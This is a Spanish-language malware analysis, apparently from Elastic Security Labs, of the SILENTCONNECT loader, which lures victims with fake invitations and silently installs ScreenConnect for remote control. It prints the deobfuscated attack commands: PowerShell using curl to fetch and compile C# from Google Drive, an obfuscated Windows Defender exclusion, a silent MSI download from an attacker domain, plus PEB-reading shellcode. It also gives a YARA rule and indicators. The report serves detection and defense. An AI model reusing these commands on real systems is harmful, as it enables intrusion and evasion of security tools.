Introducción
Elastic Security Labs está observando campañas maliciosas que provocan una infección en varias etapas que involucra a un cargador previamente no documentado. La infección comienza cuando los usuarios son desviados a una página CAPTCHA de Cloudflare Turnstile bajo la apariencia de una invitación digital. Tras hacer clic en el enlace, se descarga un archivo VBScript en la máquina. Al ejecutar, el script recupera el código fuente en C#, que luego se compila y ejecuta en memoria usando PowerShell. La carga útil final observada en estas campañas es ScreenConnect, una herramienta de monitorización y gestión remota (RMM) empleada para controlar las máquinas víctimas.
Esta campaña destaca un tema común: los atacantes abusan de los binarios de vivir de la tierra (LOLBins) para facilitar la ejecución, así como el uso de proveedores de alojamiento de confianza como Google Drive y Cloudflare. Aunque la cargadora es pequeña y sencilla, parece ser bastante eficaz y permaneció desapercibida desde marzo de 2025.
Conclusiones clave
- SILENTCONNECT es un cargador recién descubierto que se está empleando activamente en la naturaleza
- Este cargador instala silenciosamente ConnectWise ScreenConnect, permitiendo el acceso manual del teclado a las máquinas víctimas
- Las campañas que distribuyen SILENTCONNECT emplean infraestructura de alojamiento de Cloudflare y Google Drive
- SILENTCONNECT emplea llamadas a la API de NT, disfraz PEB e incluye exclusión de Windows Defender y evasión de Control de Cuenta de Usuario (UAC)
Cadena de infección SILENTCONNECT
En la primera semana de marzo, nuestro equipo observó una infección de tipo vivir fuera de la tierra que generó múltiples alertas de comportamiento en un corto periodo.
La descarga inicial de VBScript activó nuestra regla Sospechoso de Windows Script Descargado de Internet, que nos permitió pivotar hacia la fuente de la infección usando los campos file.origin_url y file.origin_referrer_url asociados.
Al navegar hasta la página original, observamos una página CAPTCHA de Cloudflare Turnique. Tras marcar la casilla de verificación humana, se descarga un archivo VBScript (E-INVITE.vbs) en la máquina.
A continuación se muestra el código fuente de la página de aterrizaje; podemos ver que el archivo VBScript (E-INVITE.vbs) está alojado en el servicio de almacenamiento de objetos de Cloudflarer2.dev.
A continuación se muestran otros nombres de archivos VBScript observados en el último mes relacionados con estas campañas:
Alaska Airlines 2026 Fleet & Route Expansion Summary.vbsCODE7_ZOOMCALANDER_INSTALLER_4740.vbs2025Trans.vbsProposal-03-2026.vbs2025Trans.vbsupdatv35.vbs
Los VBScripts están mínimamente ofuscados, usando un cuento infantil como señuelo, y emplean las funciones Replace() y Chr() para ocultar la siguiente fase.
Este script desofusca a la siguiente salida de línea de comandos:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass
-command ""New-Item -ItemType Directory -Path 'C:\Windows\Temp' -Force | Out-Null;
curl.exe -L 'hxxps://drive.google[.]com/uc?id=1ohZxxT-h7xWVgclB1kvpvwkF0AGWoUtq&export=download'
-o 'C:\Windows\Temp\FileR.txt';Start-Sleep -Seconds
8;$source = [System.IO.File]::ReadAllText('C:\Windows\Temp\FileR.txt');Start-Sleep
-Seconds 1;Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $source
-Language CSharp; [HelloWorld]::SayHello()""
Este fragmento emplea PowerShell para invocar curl.exe descargar una carga útil en C# desde Google Drive, que luego se escribe en el disco con el nombre del archivo (C:\Windows\Temp\FileR.txt).
El código fuente recuperado en C# emplea una técnica de ofuscación conocida como despliegue constante para ocultar el array de bytes empleado en la ejecución reflectiva en memoria.
Finalmente, el comando PowerShell compila la fuente descargada en C# (FileR.txt) en tiempo de ejecución usando Add-Type, la carga en memoria como ensamblador .NET y la ejecuta mediante el método [HelloWorld]::SayHello() .
SILENTCONNECT
La siguiente sección cubre la familia de cargadores .NET que llamamos SILENTCONNECT. La muestra es relativamente pequeña y sencilla, diseñada principalmente para descargar una carga útil remota (ScreenConnect) e instalarla silenciosamente en el sistema.
Tras reposar 15 segundos, el malware asigna memoria ejecutable usando la función nativa de la API de Windows mediante NtAllocateVirtualMemory, asignando la región PAGE_EXECUTE_READWRITE las licencias. SILENTCONNECT almacena un array de bytes incrustado que contiene el siguiente shellcode:
53 ; push rbx
48 31 DB ; xor rbx, rbx
48 31 C0 ; xor rax, rax
65 48 8B 1C 25 60000000 ; mov rbx, gs:[0x60] ← PEB address (x64)
48 89 D8 ; mov rax, rbx ← return value
5B ; pop rbx
C3 ; ret
Este pequeño shellcode se traslada a la memoria recientemente asignada usando Marshal.Copy. A continuación, el malware ejecuta el código de shell para recuperar la dirección del Bloque de Entorno de Procesos (PEB). Este enfoque permite al malware acceder directamente a las estructuras de procesos, evitando las APIs de Windows de nivel superior que suelen ser monitorizadas o enganchadas por productos de seguridad.
SILENTCONNECT emplea NTAPIs de ntdll.dll (APIs nativas) y ole32.dll (APIs COM) durante la etapa de configuración de delegados, permitiendo al malware invocar funciones como NtWriteVirtualMemory o CoGetObject directamente desde.NET.
Máscara PEB
SILENTCONNECT implementa una técnica común de evasión de malware conocida como PEB disfrazada. Todos los procesos de Windows incluyen una estructura mantenida por el núcleo conocida como Process Environment Block (PEB). Esta estructura contiene una lista enlazada de módulos cargados. Dentro de cada lista enlazada hay entradas que contienen la dirección base del módulo, el nombre de la DLL y la ruta completa. SILENTCONNECT recorre esta estructura, encuentra su propio módulo, luego sobreescribir su BaseDLLName y FullDllName a winhlp32.exe y c:\windows\winhlp32.exe.
Muchas herramientas de seguridad, incluidos los EDRs, emplean el PEB como una fuente confiable para detectar actividades sospechosas. Esta técnica puede engañar a estos productos usando un nombre y un camino benignos para ocultar.
Antes de lanzar la carga útil, el malware implementa un bypass UAC usando la función LaunchElevatedCOMObjectUnsafe con la cadena de nombre invertida: :wen!rotartsinimdA:noitavelE -> Elevation:Administrator!new:
Si el malware está en un estado no elevado, intentará usar la técnica de bypass UAC a través de la interfaz CMSTPLUA COM. Los parámetros de lanzamiento se almacenan en un array de caracteres en orden inverso como una técnica sencilla de ofuscación.
La primera parte de este comando ofuscado agrega una exclusión de Microsoft Defender para .exe archivos.
$ConcreteDataStructure=[char]65+[char]100+[char]100+[char]45+[char]77+[char]112+[char]80+
[char]114+[char]101+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]
101;$s=[char](23+23)+[char]101+[char]120+[char]101;&($ConcreteDataStructure)
-ExclusionExtension $s -Force;
A continuación se muestra el resultado de este comando en Defender con la excepción agregada:
Tras agregar la exclusión, SILENTCONNECT crea un directorio temporal (C:\Temp) y emplea curl.exe para descargar el instalador malicioso del cliente ScreenConnect en él. Luego invoca msiexec.exe para instalar el RMM en silencio. A continuación se muestra la segunda mitad de la línea de comandos:
New-Item -ItemType Directory -Path 'C:\Temp' -Force | Out-Null; curl.exe -L
'hxxps://bumptobabeco[.]top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
-o 'C:\Temp\ScreenConnect.ClientSetup.msi'; Start-Process msiexec.exe '/i
C:\Temp\ScreenConnect.ClientSetup.msi'"
Tras la instalación, el cliente ScreenConnect persiste como servicio de Windows y se conecta con el servidor ScreenConnect controlado por el adversario en bumptobabeco[.]top a través del puerto TCP 8041.
Campaña SILENTCONNECT
El principal vector de acceso inicial para estas campañas comienza con los emails de phishing. Identificamos una muestra de email (YOU ARE INVITED.eml) subida a VirusTotal de una campaña del año pasado.
El email es enviado por dan@checkfirst[.]net[.]au y se hace pasar por una invitación a propuesta de proyecto de una compañía falsa. El cuerpo del correo invita al destinatario a enviar una propuesta haciendo clic en un enlace. Este enlace redirige a la víctima a la infraestructura controlada por el atacante imansport[.]ir/download_invitee.php.
Cabe destacar que el actor de la amenaza reutilizó la misma ruta de URI (download_invitee.php) en todos los sitios web comprometidos para entregar la carga útil. Esta convención de nombres coherente representa una práctica deficiente en seguridad operativa (OPSEC), ya que proporcionó un punto de pivote fiable para rastrear la infraestructura de la campaña e identificar hosts comprometidos adicionales mediante búsquedas de VirusTotal como entity:url url:download_invitee.php.
También descubrimos varios sitios web legítimos que fueron comprometidos y usamos la misma infraestructura para facilitar otros esquemas fraudulentos. Por ejemplo, una URL (solpru[.]com/process/docusign[.]html) aloja una página que imita de cerca la plataforma de firma electrónica DocuSign.
Portal de DocuSignfalso
Esta cadena salta completamente SILENTCONNECT descargando un MSI preconfigurado de ScreenConnect que se conecta automáticamente al servidor del actor (instance-lh1907-relay.screenconnect[.]com).
Otra página en otro dominio se hace pasar por una página de Microsoft Teams y aplicar al usuario que descargue un archivo, lo que conduce a un abuso del Syncro RMM Agent.
Conclusión
Elastic Security Labs sigue viendo un aumento en la adopción de RMM por parte de actores amenazantes. Como estas herramientas son empleadas por departamentos legítimos de TI, suelen pasar desapercibidas y considerar "de confianza" en la mayoría de los entornos corporativos. Las organizaciones deben mantener vigilantes, auditando sus entornos para detectar el uso no autorizado de RMM.
Aunque este grupo en individuo fue un paso más allá escribiendo un cargador personalizado, la mayoría de su cadena de infección aprovecha los binarios de Windows para evadir la detección y mezclar con la actividad normal del sistema. El abuso de plataformas de confianza como Google Drive y Cloudflare para el alojamiento de cargas útiles y la entrega de señuelos complica aún más la detección, ya que los controles basados en red probablemente no bloquearán el tráfico hacia estos servicios de forma directa. A medida que los actores amenazantes siguen prefiriendo la simplicidad y el sigilo por encima de la sofisticación, es probable que campañas de este tipo persistan y evolucionen.
SILENTCONNECT y MITRE ATT&CK
Elastic usa el framework MITRE ATT&CK para documentar tácticas, técnicas y procedimientos comunes que las amenazas persistentes avanzadas emplean contra las redes empresariales.
Táctica
La táctica representa el porqué de una técnica o subtécnica. Es el objetivo táctico del adversario: la razón para realizar una acción.
Técnicas
Las técnicas representan cómo un adversario logra un objetivo táctico mediante la realización de una acción.
- Intérprete de comandos y scripting: PowerShell
- Debilitar defensas: deshabilitar o modificar herramientas
- Mecanismo de control de elevación de abuso: omitir el control de cuentas de usuario
- Herramientas de acceso remoto: Software de escritorio remoto
- Transferencia de herramientas de ingreso
- Información o archivos ofuscados
Detección de SILENTCONNECT
- Transferencia de herramientas de entrada vía CURL
- Conexión a un servicio sitio web mediante un proxy binario firmado
- UAC Bypass via ICMLuaUtil Elevated COM Interface (Elusión de UAC a través de la interfaz COM elevada de ICMLuaUtil)
- Suspicious PowerShell Execution (Ejecución sospechosa de PowerShell)
- Exclusiones de Windows Defender a través de WMI
- Argumentos sospechosos en Powershell de Windows
- Posible transferencia de archivos vía Curl para Windows
- Conexión a servicios sitio web comúnmente abusados
YARA
Elastic Security creó las siguientes reglas YARA para identificar esta actividad:
rule Windows_Trojan_SilentConnect_cdc03e84 {
meta:
author = "Elastic Security"
creation_date = "2026-03-04"
last_modified = "2026-03-04"
os = "Windows"
arch = "x86"
threat_name = "Windows.Trojan.SilentConnect"
reference_sample = "8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db"
license = "Elastic License v2"
strings:
$peb_evade = "winhlp32.exe" wide fullword
$rev_elevation = "wen!rotartsinimdA:noitavelE" wide fullword
$masquerade_peb_str = "MasqueradePEB" ascii fullword
$guid = "3E5FC7F9-9A51-4367-9063-A120244FBEC7" wide fullword
$unique_str = "PebFucker" ascii fullword
$peb_shellcode = { 53 48 31 DB 48 31 C0 65 48 8B 1C 25 60 00 00 00 }
$rev_screenconnect = "tcennoCneercS" ascii wide
condition:
5 of them
}
Observaciones
En esta investigación se discutieron los siguientes observables.
| Observable | Tipo | Nombre | Referencia |
|---|---|---|---|
281226ca0203537fa422b17102047dac314bc0c466ec71b2e6350d75f968f2a3 | SHA-256 | E-INVITE.vbs | VBScript |
adc1cf894cd35a7d7176ac5dab005bea55516bc9998d0c96223b6c0004723c37 | SHA-256 | 2025Trans.vbs | VBScript |
81956d08c8efd2f0e29fd3962bcf9559c73b1591081f14a6297e226958c30d03 | SHA-256 | FileR.txt | C# |
c3d4361939d3f6cf2fe798fef68d4713141c48dce7dd29d3838a5d0c66aa29c7 | SHA-256 | ScreenConnect.ClientSetup.msi | Instalador SCREENCONNECT |
8bab731ac2f7d015b81c2002f518fff06ea751a34a711907e80e98cf70b557db | SHA-256 | SILENTCONNECT | |
86.38.225[.]59 | IPv4-ADDR | Servidor ScreenConnect C2 | |
bumptobabeco[.]top | dominio | Servidor ScreenConnect C2 | |
instance-lh1907-relay.screenconnect[.]com | dominio | Servidor ScreenConnect C2 | |
349e78de0fe66d1616890e835ede0d18580abe8830c549973d7df8a2a7ffdcec | SHA-256 | ViewDocs.exe | Instalador de sincronización |
